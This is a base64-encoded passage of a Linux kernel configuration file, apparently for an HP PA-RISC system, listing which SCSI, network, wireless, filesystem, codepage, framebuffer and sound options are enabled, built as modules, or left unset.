U0NTSV9DT05TVEFOVFMgaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9MT0dH
SU5HIGlzIG5vdCBzZXQNCg0KIw0KIyBTQ1NJIGxvdy1sZXZlbCBkcml2ZXJz
DQojDQojIENPTkZJR19CTEtfREVWXzNXX1hYWFhfUkFJRCBpcyBub3Qgc2V0
DQojIENPTkZJR19TQ1NJXzcwMDBGQVNTVCBpcyBub3Qgc2V0DQojIENPTkZJ
R19TQ1NJX0FDQVJEIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfQUhBMTUy
WCBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX0FIQTE1NDIgaXMgbm90IHNl
dA0KIyBDT05GSUdfU0NTSV9BSEExNzQwIGlzIG5vdCBzZXQNCiMgQ09ORklH
X1NDU0lfQUFDUkFJRCBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX0FJQzdY
WFggaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9BSUM3WFhYX09MRCBpcyBu
b3Qgc2V0DQojIENPTkZJR19TQ1NJX0RQVF9JMk8gaXMgbm90IHNldA0KIyBD
T05GSUdfU0NTSV9BRFZBTlNZUyBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJ
X0lOMjAwMCBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX0FNNTNDOTc0IGlz
IG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfTUVHQVJBSUQgaXMgbm90IHNldA0K
IyBDT05GSUdfU0NTSV9CVVNMT0dJQyBpcyBub3Qgc2V0DQojIENPTkZJR19T
Q1NJX0NQUUZDVFMgaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9ETVgzMTkx
RCBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX0RUQzMyODAgaXMgbm90IHNl
dA0KIyBDT05GSUdfU0NTSV9FQVRBIGlzIG5vdCBzZXQNCiMgQ09ORklHX1ND
U0lfRUFUQV9ETUEgaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9FQVRBX1BJ
TyBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX0ZVVFVSRV9ET01BSU4gaXMg
bm90IHNldA0KIyBDT05GSUdfU0NTSV9HRFRIIGlzIG5vdCBzZXQNCiMgQ09O
RklHX1NDU0lfR0VORVJJQ19OQ1I1MzgwIGlzIG5vdCBzZXQNCiMgQ09ORklH
X1NDU0lfSU5JVElPIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfSU5JQTEw
MCBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX1BQQSBpcyBub3Qgc2V0DQoj
IENPTkZJR19TQ1NJX0lNTSBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX05D
UjUzQzQwNkEgaXMgbm90IHNldA0KQ09ORklHX1NDU0lfTEFTSTcwMD15DQpD
T05GSUdfNTNDNzAwX01FTV9NQVBQRUQ9eQ0KQ09ORklHXzUzQzcwMF9MRV9P
Tl9CRT15DQpDT05GSUdfNTNDNzAwX1VTRV9DT05TSVNURU5UPXkNCiMgQ09O
RklHX1NDU0lfTkNSNTNDN3h4IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lf
U1lNNTNDOFhYXzIgaXMgbm90IHNldA0KIyBDT05GSUdfQVNLX1pBTE9OIGlz
IG5vdCBzZXQNCiMgQ09ORklHX0FTS19OQ1I1M0M4WFggaXMgbm90IHNldA0K
IyBDT05GSUdfQVNLX1NZTTUzQzhYWCBpcyBub3Qgc2V0DQojIENPTkZJR19T
Q1NJX1pBTE9OIGlzIG5vdCBzZXQNCkNPTkZJR19TQ1NJX1NZTTUzQzhYWD15
DQpDT05GSUdfQVNLX1NZTTUzQzhYWD15DQpDT05GSUdfU0NTSV9OQ1I1M0M4
WFhfREVGQVVMVF9UQUdTPTQNCkNPTkZJR19TQ1NJX05DUjUzQzhYWF9NQVhf
VEFHUz0zMg0KQ09ORklHX1NDU0lfTkNSNTNDOFhYX1NZTkM9MjANCiMgQ09O
RklHX1NDU0lfTkNSNTNDOFhYX1BST0ZJTEUgaXMgbm90IHNldA0KQ09ORklH
X1NDU0lfTkNSNTNDOFhYX0lPTUFQUEVEPXkNCkNPTkZJR19TQ1NJX05DUjUz
QzhYWF9QUVNfUERTPXkNCkNPTkZJR19TQ1NJX05DUjUzQzhYWF9TWU1CSU9T
X0NPTVBBVD15DQojIENPTkZJR19TQ1NJX1BBUzE2IGlzIG5vdCBzZXQNCiMg
Q09ORklHX1NDU0lfUENJMjAwMCBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJ
X1BDSTIyMjBJIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfUFNJMjQwSSBp
cyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX1FMT0dJQ19GQVMgaXMgbm90IHNl
dA0KIyBDT05GSUdfU0NTSV9RTE9HSUNfSVNQIGlzIG5vdCBzZXQNCiMgQ09O
RklHX1NDU0lfUUxPR0lDX0ZDIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lf
UUxPR0lDXzEyODAgaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9RTE9HSUNf
UUxBMlhYWCBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX1FMT0dJQ19RTEEy
MTAwIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfU0lNNzEwIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX1NDU0lfU1lNNTNDNDE2IGlzIG5vdCBzZXQNCiMgQ09O
RklHX1NDU0lfREMzOTBUIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfVDEy
OCBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX1UxNF8zNEYgaXMgbm90IHNl
dA0KIyBDT05GSUdfU0NTSV9ERUJVRyBpcyBub3Qgc2V0DQoNCiMNCiMgUENN
Q0lBIFNDU0kgYWRhcHRlciBzdXBwb3J0DQojDQojIENPTkZJR19TQ1NJX1BD
TUNJQSBpcyBub3Qgc2V0DQoNCiMNCiMgTmV0d29yayBkZXZpY2Ugc3VwcG9y
dA0KIw0KQ09ORklHX05FVERFVklDRVM9eQ0KDQojDQojIEFSQ25ldCBkZXZp
Y2VzDQojDQojIENPTkZJR19BUkNORVQgaXMgbm90IHNldA0KQ09ORklHX0RV
TU1ZPW0NCkNPTkZJR19CT05ESU5HPW0NCiMgQ09ORklHX0VRVUFMSVpFUiBp
cyBub3Qgc2V0DQpDT05GSUdfVFVOPXkNCiMgQ09ORklHX0VUSEVSVEFQIGlz
IG5vdCBzZXQNCg0KIw0KIyBFdGhlcm5ldCAoMTAgb3IgMTAwTWJpdCkNCiMN
CkNPTkZJR19ORVRfRVRIRVJORVQ9eQ0KQ09ORklHX0xBU0lfODI1OTY9eQ0K
IyBDT05GSUdfU1VOTEFOQ0UgaXMgbm90IHNldA0KIyBDT05GSUdfSEFQUFlN
RUFMIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NVTkJNQUMgaXMgbm90IHNldA0K
IyBDT05GSUdfU1VOUUUgaXMgbm90IHNldA0KIyBDT05GSUdfU1VOR0VNIGlz
IG5vdCBzZXQNCiMgQ09ORklHX05FVF9WRU5ET1JfM0NPTSBpcyBub3Qgc2V0
DQojIENPTkZJR19MQU5DRSBpcyBub3Qgc2V0DQojIENPTkZJR19ORVRfVkVO
RE9SX1NNQyBpcyBub3Qgc2V0DQojIENPTkZJR19ORVRfVkVORE9SX1JBQ0FM
IGlzIG5vdCBzZXQNCiMgQ09ORklHX0hQMTAwIGlzIG5vdCBzZXQNCiMgQ09O
RklHX05FVF9JU0EgaXMgbm90IHNldA0KQ09ORklHX05FVF9QQ0k9eQ0KIyBD
T05GSUdfUENORVQzMiBpcyBub3Qgc2V0DQojIENPTkZJR19BREFQVEVDX1NU
QVJGSVJFIGlzIG5vdCBzZXQNCiMgQ09ORklHX0FQUklDT1QgaXMgbm90IHNl
dA0KIyBDT05GSUdfQ1M4OXgwIGlzIG5vdCBzZXQNCkNPTkZJR19UVUxJUD15
DQojIENPTkZJR19UVUxJUF9NV0kgaXMgbm90IHNldA0KQ09ORklHX1RVTElQ
X01NSU89eQ0KIyBDT05GSUdfREU0WDUgaXMgbm90IHNldA0KIyBDT05GSUdf
REdSUyBpcyBub3Qgc2V0DQojIENPTkZJR19ETTkxMDIgaXMgbm90IHNldA0K
IyBDT05GSUdfRUVQUk8xMDAgaXMgbm90IHNldA0KIyBDT05GSUdfRTEwMCBp
cyBub3Qgc2V0DQojIENPTkZJR19MTkUzOTAgaXMgbm90IHNldA0KIyBDT05G
SUdfRkVBTE5YIGlzIG5vdCBzZXQNCiMgQ09ORklHX05BVFNFTUkgaXMgbm90
IHNldA0KIyBDT05GSUdfTkUyS19QQ0kgaXMgbm90IHNldA0KIyBDT05GSUdf
TkUzMjEwIGlzIG5vdCBzZXQNCiMgQ09ORklHX0VTMzIxMCBpcyBub3Qgc2V0
DQojIENPTkZJR184MTM5Q1AgaXMgbm90IHNldA0KQ09ORklHXzgxMzlUT089
eQ0KIyBDT05GSUdfODEzOVRPT19QSU8gaXMgbm90IHNldA0KIyBDT05GSUdf
ODEzOVRPT19UVU5FX1RXSVNURVIgaXMgbm90IHNldA0KIyBDT05GSUdfODEz
OVRPT184MTI5IGlzIG5vdCBzZXQNCiMgQ09ORklHXzgxMzlfT0xEX1JYX1JF
U0VUIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NJUzkwMCBpcyBub3Qgc2V0DQoj
IENPTkZJR19FUElDMTAwIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NVTkRBTkNF
IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NVTkRBTkNFX01NSU8gaXMgbm90IHNl
dA0KIyBDT05GSUdfVExBTiBpcyBub3Qgc2V0DQojIENPTkZJR19UQzM1ODE1
IGlzIG5vdCBzZXQNCiMgQ09ORklHX1ZJQV9SSElORSBpcyBub3Qgc2V0DQoj
IENPTkZJR19WSUFfUkhJTkVfTU1JTyBpcyBub3Qgc2V0DQojIENPTkZJR19X
SU5CT05EXzg0MCBpcyBub3Qgc2V0DQojIENPTkZJR19ORVRfUE9DS0VUIGlz
IG5vdCBzZXQNCg0KIw0KIyBFdGhlcm5ldCAoMTAwMCBNYml0KQ0KIw0KIyBD
T05GSUdfQUNFTklDIGlzIG5vdCBzZXQNCiMgQ09ORklHX0RMMksgaXMgbm90
IHNldA0KIyBDT05GSUdfRTEwMDAgaXMgbm90IHNldA0KIyBDT05GSUdfTVlS
SV9TQlVTIGlzIG5vdCBzZXQNCiMgQ09ORklHX05TODM4MjAgaXMgbm90IHNl
dA0KIyBDT05GSUdfSEFNQUNISSBpcyBub3Qgc2V0DQojIENPTkZJR19ZRUxM
T1dGSU4gaXMgbm90IHNldA0KIyBDT05GSUdfU0s5OExJTiBpcyBub3Qgc2V0
DQojIENPTkZJR19USUdPTjMgaXMgbm90IHNldA0KIyBDT05GSUdfRkRESSBp
cyBub3Qgc2V0DQojIENPTkZJR19ISVBQSSBpcyBub3Qgc2V0DQojIENPTkZJ
R19QTElQIGlzIG5vdCBzZXQNCkNPTkZJR19QUFA9eQ0KQ09ORklHX1BQUF9N
VUxUSUxJTks9eQ0KQ09ORklHX1BQUF9GSUxURVI9eQ0KQ09ORklHX1BQUF9B
U1lOQz15DQpDT05GSUdfUFBQX1NZTkNfVFRZPXkNCkNPTkZJR19QUFBfREVG
TEFURT15DQpDT05GSUdfUFBQX0JTRENPTVA9eQ0KQ09ORklHX1BQUE9FPXkN
CkNPTkZJR19TTElQPW0NCkNPTkZJR19TTElQX0NPTVBSRVNTRUQ9eQ0KQ09O
RklHX1NMSVBfU01BUlQ9eQ0KQ09ORklHX1NMSVBfTU9ERV9TTElQNj15DQoN
CiMNCiMgV2lyZWxlc3MgTEFOIChub24taGFtcmFkaW8pDQojDQpDT05GSUdf
TkVUX1JBRElPPXkNCiMgQ09ORklHX1NUUklQIGlzIG5vdCBzZXQNCiMgQ09O
RklHX1dBVkVMQU4gaXMgbm90IHNldA0KIyBDT05GSUdfQVJMQU4gaXMgbm90
IHNldA0KIyBDT05GSUdfQUlST05FVDQ1MDAgaXMgbm90IHNldA0KIyBDT05G
SUdfQUlST05FVDQ1MDBfTk9OQ1MgaXMgbm90IHNldA0KIyBDT05GSUdfQUlS
T05FVDQ1MDBfUFJPQyBpcyBub3Qgc2V0DQojIENPTkZJR19BSVJPIGlzIG5v
dCBzZXQNCkNPTkZJR19IRVJNRVM9eQ0KQ09ORklHX1BMWF9IRVJNRVM9eQ0K
Q09ORklHX1BDSV9IRVJNRVM9eQ0KQ09ORklHX1BDTUNJQV9IRVJNRVM9eQ0K
IyBDT05GSUdfQUlST19DUyBpcyBub3Qgc2V0DQpDT05GSUdfTkVUX1dJUkVM
RVNTPXkNCg0KIw0KIyBUb2tlbiBSaW5nIGRldmljZXMNCiMNCiMgQ09ORklH
X1RSIGlzIG5vdCBzZXQNCiMgQ09ORklHX05FVF9GQyBpcyBub3Qgc2V0DQoj
IENPTkZJR19SQ1BDSSBpcyBub3Qgc2V0DQojIENPTkZJR19TSEFQRVIgaXMg
bm90IHNldA0KDQojDQojIFdhbiBpbnRlcmZhY2VzDQojDQojIENPTkZJR19X
QU4gaXMgbm90IHNldA0KDQojDQojIFBDTUNJQSBuZXR3b3JrIGRldmljZSBz
dXBwb3J0DQojDQojIENPTkZJR19ORVRfUENNQ0lBIGlzIG5vdCBzZXQNCg0K
Iw0KIyBJbnB1dCBjb3JlIHN1cHBvcnQNCiMNCiMgQ09ORklHX0lOUFVUIGlz
IG5vdCBzZXQNCiMgQ09ORklHX0lOUFVUX0tFWUJERVYgaXMgbm90IHNldA0K
IyBDT05GSUdfSU5QVVRfTU9VU0VERVYgaXMgbm90IHNldA0KIyBDT05GSUdf
SU5QVVRfSk9ZREVWIGlzIG5vdCBzZXQNCiMgQ09ORklHX0lOUFVUX0VWREVW
IGlzIG5vdCBzZXQNCg0KIw0KIyBDaGFyYWN0ZXIgZGV2aWNlcw0KIw0KQ09O
RklHX1ZUPXkNCkNPTkZJR19WVF9DT05TT0xFPXkNCkNPTkZJR19HU0NfUFMy
PXkNCkNPTkZJR19TRVJJQUw9eQ0KQ09ORklHX1NFUklBTF9DT05TT0xFPXkN
CkNPTkZJR19TRVJJQUxfR1NDPXkNCkNPTkZJR19IUF9ESVZBPXkNCiMgQ09O
RklHX1NFUklBTF9FWFRFTkRFRCBpcyBub3Qgc2V0DQojIENPTkZJR19TRVJJ
QUxfTk9OU1RBTkRBUkQgaXMgbm90IHNldA0KQ09ORklHX1VOSVg5OF9QVFlT
PXkNCkNPTkZJR19VTklYOThfUFRZX0NPVU5UPTI1Ng0KQ09ORklHX1BSSU5U
RVI9eQ0KIyBDT05GSUdfTFBfQ09OU09MRSBpcyBub3Qgc2V0DQojIENPTkZJ
R19QUERFViBpcyBub3Qgc2V0DQoNCiMNCiMgSTJDIHN1cHBvcnQNCiMNCiMg
Q09ORklHX0kyQyBpcyBub3Qgc2V0DQoNCiMNCiMgTWljZQ0KIw0KIyBDT05G
SUdfQlVTTU9VU0UgaXMgbm90IHNldA0KQ09ORklHX01PVVNFPXkNCkNPTkZJ
R19QU01PVVNFPXkNCiMgQ09ORklHXzgyQzcxMF9NT1VTRSBpcyBub3Qgc2V0
DQojIENPTkZJR19QQzExMF9QQUQgaXMgbm90IHNldA0KIyBDT05GSUdfTUs3
MTJfTU9VU0UgaXMgbm90IHNldA0KDQojDQojIEpveXN0aWNrcw0KIw0KIyBD
T05GSUdfSU5QVVRfR0FNRVBPUlQgaXMgbm90IHNldA0KIyBDT05GSUdfUUlD
MDJfVEFQRSBpcyBub3Qgc2V0DQoNCiMNCiMgV2F0Y2hkb2cgQ2FyZHMNCiMN
CiMgQ09ORklHX1dBVENIRE9HIGlzIG5vdCBzZXQNCkNPTkZJR19HRU5SVEM9
eQ0KIyBDT05GSUdfQU1EX1BNNzY4IGlzIG5vdCBzZXQNCiMgQ09ORklHX05W
UkFNIGlzIG5vdCBzZXQNCiMgQ09ORklHX1JUQyBpcyBub3Qgc2V0DQojIENP
TkZJR19EVExLIGlzIG5vdCBzZXQNCiMgQ09ORklHX1IzOTY0IGlzIG5vdCBz
ZXQNCiMgQ09ORklHX0FQUExJQ09NIGlzIG5vdCBzZXQNCg0KIw0KIyBGdGFw
ZSwgdGhlIGZsb3BweSB0YXBlIGRldmljZSBkcml2ZXINCiMNCiMgQ09ORklH
X0ZUQVBFIGlzIG5vdCBzZXQNCiMgQ09ORklHX0FHUCBpcyBub3Qgc2V0DQoj
IENPTkZJR19EUk0gaXMgbm90IHNldA0KDQojDQojIFBDTUNJQSBjaGFyYWN0
ZXIgZGV2aWNlcw0KIw0KIyBDT05GSUdfUENNQ0lBX1NFUklBTF9DUyBpcyBu
b3Qgc2V0DQojIENPTkZJR19TWU5DTElOS19DUyBpcyBub3Qgc2V0DQoNCiMN
CiMgSElMIHN1cHBvcnQNCiMNCg0KIw0KIyBNdWx0aW1lZGlhIGRldmljZXMN
CiMNCiMgQ09ORklHX1ZJREVPX0RFViBpcyBub3Qgc2V0DQoNCiMNCiMgRmls
ZSBzeXN0ZW1zDQojDQpDT05GSUdfUVVPVEE9eQ0KIyBDT05GSUdfQVVUT0ZT
X0ZTIGlzIG5vdCBzZXQNCkNPTkZJR19BVVRPRlM0X0ZTPW0NCiMgQ09ORklH
X1JFSVNFUkZTX0ZTIGlzIG5vdCBzZXQNCiMgQ09ORklHX1JFSVNFUkZTX0NI
RUNLIGlzIG5vdCBzZXQNCiMgQ09ORklHX1JFSVNFUkZTX1BST0NfSU5GTyBp
cyBub3Qgc2V0DQojIENPTkZJR19BREZTX0ZTIGlzIG5vdCBzZXQNCiMgQ09O
RklHX0FERlNfRlNfUlcgaXMgbm90IHNldA0KIyBDT05GSUdfQUZGU19GUyBp
cyBub3Qgc2V0DQojIENPTkZJR19IRlNfRlMgaXMgbm90IHNldA0KIyBDT05G
SUdfQkVGU19GUyBpcyBub3Qgc2V0DQojIENPTkZJR19CRUZTX0RFQlVHIGlz
IG5vdCBzZXQNCiMgQ09ORklHX0JGU19GUyBpcyBub3Qgc2V0DQpDT05GSUdf
RVhUM19GUz15DQpDT05GSUdfSkJEPXkNCiMgQ09ORklHX0pCRF9ERUJVRyBp
cyBub3Qgc2V0DQpDT05GSUdfRkFUX0ZTPW0NCkNPTkZJR19NU0RPU19GUz1t
DQojIENPTkZJR19VTVNET1NfRlMgaXMgbm90IHNldA0KQ09ORklHX1ZGQVRf
RlM9bQ0KIyBDT05GSUdfRUZTX0ZTIGlzIG5vdCBzZXQNCiMgQ09ORklHX0pG
RlNfRlMgaXMgbm90IHNldA0KIyBDT05GSUdfSkZGUzJfRlMgaXMgbm90IHNl
dA0KIyBDT05GSUdfQ1JBTUZTIGlzIG5vdCBzZXQNCkNPTkZJR19UTVBGUz15
DQpDT05GSUdfUkFNRlM9eQ0KQ09ORklHX0lTTzk2NjBfRlM9eQ0KQ09ORklH
X0pPTElFVD15DQpDT05GSUdfWklTT0ZTPXkNCiMgQ09ORklHX0pGU19GUyBp
cyBub3Qgc2V0DQojIENPTkZJR19KRlNfREVCVUcgaXMgbm90IHNldA0KIyBD
T05GSUdfSkZTX1NUQVRJU1RJQ1MgaXMgbm90IHNldA0KIyBDT05GSUdfTUlO
SVhfRlMgaXMgbm90IHNldA0KIyBDT05GSUdfVlhGU19GUyBpcyBub3Qgc2V0
DQojIENPTkZJR19OVEZTX0ZTIGlzIG5vdCBzZXQNCiMgQ09ORklHX05URlNf
UlcgaXMgbm90IHNldA0KIyBDT05GSUdfSFBGU19GUyBpcyBub3Qgc2V0DQpD
T05GSUdfUFJPQ19GUz15DQojIENPTkZJR19ERVZGU19GUyBpcyBub3Qgc2V0
DQojIENPTkZJR19ERVZGU19NT1VOVCBpcyBub3Qgc2V0DQojIENPTkZJR19E
RVZGU19ERUJVRyBpcyBub3Qgc2V0DQpDT05GSUdfREVWUFRTX0ZTPXkNCiMg
Q09ORklHX1FOWDRGU19GUyBpcyBub3Qgc2V0DQojIENPTkZJR19RTlg0RlNf
UlcgaXMgbm90IHNldA0KIyBDT05GSUdfUk9NRlNfRlMgaXMgbm90IHNldA0K
Q09ORklHX0VYVDJfRlM9eQ0KIyBDT05GSUdfU1lTVl9GUyBpcyBub3Qgc2V0
DQojIENPTkZJR19VREZfRlMgaXMgbm90IHNldA0KIyBDT05GSUdfVURGX1JX
IGlzIG5vdCBzZXQNCiMgQ09ORklHX1VGU19GUyBpcyBub3Qgc2V0DQojIENP
TkZJR19VRlNfRlNfV1JJVEUgaXMgbm90IHNldA0KDQojDQojIE5ldHdvcmsg
RmlsZSBTeXN0ZW1zDQojDQojIENPTkZJR19DT0RBX0ZTIGlzIG5vdCBzZXQN
CiMgQ09ORklHX0lOVEVSTUVaWk9fRlMgaXMgbm90IHNldA0KQ09ORklHX05G
U19GUz1tDQpDT05GSUdfTkZTX1YzPXkNCiMgQ09ORklHX1JPT1RfTkZTIGlz
IG5vdCBzZXQNCkNPTkZJR19ORlNEPW0NCkNPTkZJR19ORlNEX1YzPXkNCiMg
Q09ORklHX05GU0RfVENQIGlzIG5vdCBzZXQNCkNPTkZJR19TVU5SUEM9bQ0K
Q09ORklHX0xPQ0tEPW0NCkNPTkZJR19MT0NLRF9WND15DQpDT05GSUdfU01C
X0ZTPXkNCkNPTkZJR19TTUJfTkxTX0RFRkFVTFQ9eQ0KQ09ORklHX1NNQl9O
TFNfUkVNT1RFPSJjcDg1MCINCiMgQ09ORklHX05DUF9GUyBpcyBub3Qgc2V0
DQojIENPTkZJR19OQ1BGU19QQUNLRVRfU0lHTklORyBpcyBub3Qgc2V0DQoj
IENPTkZJR19OQ1BGU19JT0NUTF9MT0NLSU5HIGlzIG5vdCBzZXQNCiMgQ09O
RklHX05DUEZTX1NUUk9ORyBpcyBub3Qgc2V0DQojIENPTkZJR19OQ1BGU19O
RlNfTlMgaXMgbm90IHNldA0KIyBDT05GSUdfTkNQRlNfT1MyX05TIGlzIG5v
dCBzZXQNCiMgQ09ORklHX05DUEZTX1NNQUxMRE9TIGlzIG5vdCBzZXQNCiMg
Q09ORklHX05DUEZTX05MUyBpcyBub3Qgc2V0DQojIENPTkZJR19OQ1BGU19F
WFRSQVMgaXMgbm90IHNldA0KQ09ORklHX1pJU09GU19GUz15DQoNCiMNCiMg
UGFydGl0aW9uIFR5cGVzDQojDQpDT05GSUdfUEFSVElUSU9OX0FEVkFOQ0VE
PXkNCiMgQ09ORklHX0FDT1JOX1BBUlRJVElPTiBpcyBub3Qgc2V0DQpDT05G
SUdfT1NGX1BBUlRJVElPTj15DQojIENPTkZJR19BTUlHQV9QQVJUSVRJT04g
aXMgbm90IHNldA0KIyBDT05GSUdfQVRBUklfUEFSVElUSU9OIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX01BQ19QQVJUSVRJT04gaXMgbm90IHNldA0KQ09ORklH
X01TRE9TX1BBUlRJVElPTj15DQpDT05GSUdfQlNEX0RJU0tMQUJFTD15DQoj
IENPTkZJR19NSU5JWF9TVUJQQVJUSVRJT04gaXMgbm90IHNldA0KIyBDT05G
SUdfU09MQVJJU19YODZfUEFSVElUSU9OIGlzIG5vdCBzZXQNCiMgQ09ORklH
X1VOSVhXQVJFX0RJU0tMQUJFTCBpcyBub3Qgc2V0DQojIENPTkZJR19MRE1f
UEFSVElUSU9OIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NHSV9QQVJUSVRJT04g
aXMgbm90IHNldA0KIyBDT05GSUdfVUxUUklYX1BBUlRJVElPTiBpcyBub3Qg
c2V0DQojIENPTkZJR19TVU5fUEFSVElUSU9OIGlzIG5vdCBzZXQNCiMgQ09O
RklHX0VGSV9QQVJUSVRJT04gaXMgbm90IHNldA0KQ09ORklHX1NNQl9OTFM9
eQ0KQ09ORklHX05MUz15DQoNCiMNCiMgTmF0aXZlIExhbmd1YWdlIFN1cHBv
cnQNCiMNCkNPTkZJR19OTFNfREVGQVVMVD0iaXNvODg1OS0xNSINCkNPTkZJ
R19OTFNfQ09ERVBBR0VfNDM3PW0NCkNPTkZJR19OTFNfQ09ERVBBR0VfNzM3
PW0NCkNPTkZJR19OTFNfQ09ERVBBR0VfNzc1PW0NCkNPTkZJR19OTFNfQ09E
RVBBR0VfODUwPW0NCkNPTkZJR19OTFNfQ09ERVBBR0VfODUyPW0NCkNPTkZJ
R19OTFNfQ09ERVBBR0VfODU1PW0NCkNPTkZJR19OTFNfQ09ERVBBR0VfODU3
PW0NCkNPTkZJR19OTFNfQ09ERVBBR0VfODYwPW0NCkNPTkZJR19OTFNfQ09E
RVBBR0VfODYxPW0NCkNPTkZJR19OTFNfQ09ERVBBR0VfODYyPW0NCkNPTkZJ
R19OTFNfQ09ERVBBR0VfODYzPW0NCkNPTkZJR19OTFNfQ09ERVBBR0VfODY0
PW0NCkNPTkZJR19OTFNfQ09ERVBBR0VfODY1PW0NCkNPTkZJR19OTFNfQ09E
RVBBR0VfODY2PW0NCkNPTkZJR19OTFNfQ09ERVBBR0VfODY5PW0NCkNPTkZJ
R19OTFNfQ09ERVBBR0VfOTM2PW0NCkNPTkZJR19OTFNfQ09ERVBBR0VfOTUw
PW0NCkNPTkZJR19OTFNfQ09ERVBBR0VfOTMyPW0NCkNPTkZJR19OTFNfQ09E
RVBBR0VfOTQ5PW0NCkNPTkZJR19OTFNfQ09ERVBBR0VfODc0PW0NCkNPTkZJ
R19OTFNfSVNPODg1OV84PW0NCkNPTkZJR19OTFNfQ09ERVBBR0VfMTI1MD1t
DQpDT05GSUdfTkxTX0NPREVQQUdFXzEyNTE9bQ0KQ09ORklHX05MU19JU084
ODU5XzE9bQ0KQ09ORklHX05MU19JU084ODU5XzI9bQ0KQ09ORklHX05MU19J
U084ODU5XzM9bQ0KQ09ORklHX05MU19JU084ODU5XzQ9bQ0KQ09ORklHX05M
U19JU084ODU5XzU9bQ0KQ09ORklHX05MU19JU084ODU5XzY9bQ0KQ09ORklH
X05MU19JU084ODU5Xzc9bQ0KQ09ORklHX05MU19JU084ODU5Xzk9bQ0KQ09O
RklHX05MU19JU084ODU5XzEzPW0NCkNPTkZJR19OTFNfSVNPODg1OV8xND1t
DQpDT05GSUdfTkxTX0lTTzg4NTlfMTU9bQ0KQ09ORklHX05MU19LT0k4X1I9
bQ0KQ09ORklHX05MU19LT0k4X1U9bQ0KQ09ORklHX05MU19VVEY4PW0NCg0K
Iw0KIyBDb25zb2xlIGRyaXZlcnMNCiMNCg0KIw0KIyBGcmFtZS1idWZmZXIg
c3VwcG9ydA0KIw0KQ09ORklHX0ZCPXkNCkNPTkZJR19EVU1NWV9DT05TT0xF
PXkNCiMgQ09ORklHX0ZCX1JJVkEgaXMgbm90IHNldA0KIyBDT05GSUdfRkJf
Q0xHRU4gaXMgbm90IHNldA0KIyBDT05GSUdfRkJfUE0yIGlzIG5vdCBzZXQN
CiMgQ09ORklHX0ZCX1BNMyBpcyBub3Qgc2V0DQojIENPTkZJR19GQl9DWUJF
UjIwMDAgaXMgbm90IHNldA0KQ09ORklHX0ZCX1NUST15DQojIENPTkZJR19G
Ql9NQVRST1ggaXMgbm90IHNldA0KIyBDT05GSUdfRkJfQVRZIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX0ZCX1JBREVPTiBpcyBub3Qgc2V0DQojIENPTkZJR19G
Ql9BVFkxMjggaXMgbm90IHNldA0KIyBDT05GSUdfRkJfU0lTIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX0ZCX05FT01BR0lDIGlzIG5vdCBzZXQNCiMgQ09ORklH
X0ZCXzNERlggaXMgbm90IHNldA0KIyBDT05GSUdfRkJfVk9PRE9PMSBpcyBu
b3Qgc2V0DQojIENPTkZJR19GQl9UUklERU5UIGlzIG5vdCBzZXQNCiMgQ09O
RklHX0ZCX1ZJUlRVQUwgaXMgbm90IHNldA0KIyBDT05GSUdfRkJDT05fQURW
QU5DRUQgaXMgbm90IHNldA0KQ09ORklHX0ZCQ09OX0NGQjg9eQ0KQ09ORklH
X0ZCQ09OX0NGQjMyPXkNCkNPTkZJR19GQkNPTl9TVEk9eQ0KIyBDT05GSUdf
RkJDT05fRk9OVFdJRFRIOF9PTkxZIGlzIG5vdCBzZXQNCiMgQ09ORklHX0ZC
Q09OX0ZPTlRTIGlzIG5vdCBzZXQNCkNPTkZJR19GT05UXzh4OD15DQpDT05G
SUdfRk9OVF84eDE2PXkNCkNPTkZJR19TVElfQ09OU09MRT15DQpDT05GSUdf
RFVNTVlfQ09OU09MRT15DQpDT05GSUdfRFVNTVlfQ09OU09MRT15DQpDT05G
SUdfRkJDT049eQ0KQ09ORklHX0ZCQ09OX0ZPTlQ9eQ0KQ09ORklHX0ZPTlRf
OHg4PXkNCkNPTkZJR19GT05UXzh4MTY9eQ0KQ09ORklHX0ZPTlRfNngxMT15
DQpDT05GSUdfRk9OVF9TVU4xMngyMj15DQoNCiMNCiMgU291bmQNCiMNCkNP
TkZJR19TT1VORD15DQojIENPTkZJR19TT1VORF9BTEk1NDU1IGlzIG5vdCBz
ZXQNCiMgQ09ORklHX1NPVU5EX0JUODc4IGlzIG5vdCBzZXQNCiMgQ09ORklH
X1NPVU5EX0NNUENJIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NPVU5EX0VNVTEw
SzEgaXMgbm90IHNldA0KIyBDT05GSUdfTUlESV9FTVUxMEsxIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX1NPVU5EX0ZVU0lPTiBpcyBub3Qgc2V0DQojIENPTkZJ
